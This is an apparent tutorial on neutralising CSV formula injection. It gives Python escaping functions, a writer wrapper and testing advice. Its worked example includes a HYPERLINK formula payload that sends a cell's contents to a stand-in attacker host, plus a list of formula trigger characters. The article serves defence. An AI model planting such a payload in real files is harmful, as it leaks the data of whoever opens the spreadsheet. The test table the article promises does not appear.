Escaping Formula Characters in a CSV Export Safely

The fix for formula injection is a function of about eight lines, and the reason it deserves its own article is that the eight lines are easy to get slightly wrong. Wrap everything in quotes and nothing is fixed. Prefix everything that begins with a minus sign and every negative number in the file turns into text. Fix the one export you noticed and leave the other three alone. This article gives the function, the reasons for each of its choices, and a table of test cases that keeps it right when someone edits it next year. The attack itself is in CSV injection and how formulas in a cell become an attack, and the wider picture in CSV security risks that catch teams out.

The function

The mitigation recommended by OWASP is to prefix a dangerous cell with a single quote. In every major spreadsheet a leading apostrophe marks the cell content as text, and the apostrophe itself is not shown. Here it is in Python:

import csv, sys

TRIGGERS = ("=", "+", "-", "@", "\t", "\r")

def safe(value):
    """Neutralize a text cell that a spreadsheet would run as a formula."""
    if isinstance(value, (int, float)):
        return value
    text = str(value)
    return "'" + text if text.startswith(TRIGGERS) else text

rows = [
    ("name", "comment", "score"),
    ("Ada", "plain note", 10),
    ("Eve", '=HYPERLINK("https://attacker.example/?"&A2,"click")', -3),
    ("Bob", "+1 555 0100", 7),
    ("Zed", "-5 degrees", 0),
]
writer = csv.writer(sys.stdout, lineterminator="\n")
for r in rows:
    writer.writerow([safe(c) for c in r])

name,comment,score
Ada,plain note,10
Eve,"'=HYPERLINK(""https://attacker.example/?""&A2,""click"")",-3
Bob,'+1 555 0100,7
Zed,'-5 degrees,0

Read the output against the input. Eve's formula now starts with ', so it is text. Bob's phone number and Zed's note are text too, which is correct, because they were never meant as arithmetic. And Eve's score of -3 is untouched: it is an integer, the function returned it unchanged, and the CSV writer printed it as -3, which a spreadsheet reads as a number. That one line, the isinstance check, is the difference between a fix and a regression.

Why each choice is there

Strings only. The function skips numbers because a numeric column is allowed to start with a minus sign. If your values arrive as strings, such as a number read from a form and never converted, the function cannot tell -3 the score from -3 the user's note, and it will escape both. The cure is to convert numeric columns to numbers before writing, which you should be doing anyway, and to apply safe per column and not blindly to every cell. A per-column list of text fields is more work than a blanket rule and gives you fewer surprises.

Six triggers. The list covers the four characters that start a formula, plus the tab and the carriage return. The reason for the last two is that some spreadsheet versions skip leading whitespace-like characters and then read what follows, so a cell of tab followed by =cmd... is a formula in spite of the first character. If you strip such characters first, you get a simpler rule: take the text, remove leading spaces, tabs and returns, and test the first remaining character. The version above prefixes when the raw first character is a trigger and misses a cell like =1+1 that starts with a space. A stricter version is:

def safe_strict(value):
    if value is None:
        return ""
    if isinstance(value, (int, float)):
        return value
    text = str(value)
    stripped = text.lstrip(" \t\r\n")
    if stripped.startswith(("=", "+", "-", "@")) or text[:1] in ("\t", "\r"):
        return "'" + text
    return text

I use the strict form for anything that leaves the building. The extra clause costs nothing and covers the leading-space variant that a pen test will try.

A single quote, not a double. The apostrophe is the spreadsheet's own text prefix. A double quote is CSV syntax and is stripped by the parser, which is why wrapping does nothing. Some guidance suggests also wrapping the cell in double quotes after adding the apostrophe, and the CSV writer does that for you when the field contains a comma or a quote, as in Eve's row.

A test table that stays

A fix that no test covers does not last. Keep this table next to the function as a unit test, and add a row whenever you find a new case:

Two rows deserve a comment. The empty string and None must not crash startswith, so the function needs to handle both before anything else, and many codebases pass None straight to str() and write the text None into the file, which is a separate bug. And the leading-space row only passes with the strict function. Write the test as a table-driven loop so the next case is one line.

Wire it in once

Put the function where all exports go through it, not at each call site. In a Python service, wrap your CSV writer:

class SafeWriter:
    def __init__(self, fileobj, text_columns):
        self._w = csv.writer(fileobj, lineterminator="\r\n")
        self._text = set(text_columns)

    def writerow(self, row):
        self._w.writerow([safe(v) if i in self._text else v for i, v in enumerate(row)])

The same pattern applies in any language: a function at the lowest level that writes a field, and a test. In JavaScript the equivalent is a three-line helper used by the code that builds the download (generating a CSV download in JavaScript); in PHP, a wrapper around fputcsv; in SQL, a CASE WHEN LEFT(col, 1) IN ('=', '+', '-', '@') THEN '''' || col ELSE col END in the export query for databases that produce the file themselves. Whichever level you pick, the rule is the same: untrusted text in, escaped text out, numbers untouched.

For an existing file that someone sent you, the same function applied in reverse is not advisable. Instead, scan it for the pattern and import it as text.

Check the file, not the code

After deploying, test the output the way a victim would. Put =1+1 in a text field, export, open the file in a spreadsheet and look for =1+1 as text, with no apostrophe visible. Also open it in a plain text editor: you should see the apostrophe in the file, which is the evidence that the fix is in the data and not in your reading of it. Run the same check against every export path, and add it to the pre-release routine for any new export. Exporting query results to CSV on a schedule is a typical source of new paths.

When escaping corrupts the data

The apostrophe becomes part of the data for any reader that is not a spreadsheet. A script that loads the file into a database will store '=1+1 and not =1+1, and a matching job that compares names will fail. So the fix belongs only on files meant for a spreadsheet user. For a machine feed, do not escape: document that the field is raw, validate it on input, and leave rendering decisions to whatever consumes it.

When one file has to serve both audiences, the better answer is two files or two export options: "for Excel" (escaped) and "for systems" (raw). If you cannot split them, escape and tell integrators, in the data dictionary, that a leading apostrophe on text fields is to be stripped on import (writing a schema for a CSV shows where such a note belongs).

Some teams ask whether a dedicated library exists. There are small ones, and the function above is shorter than their setup. What matters is that the behavior is tested, as in the table, and applied everywhere. The CSV format itself says nothing on the matter (RFC 4180), so the rule has to be yours.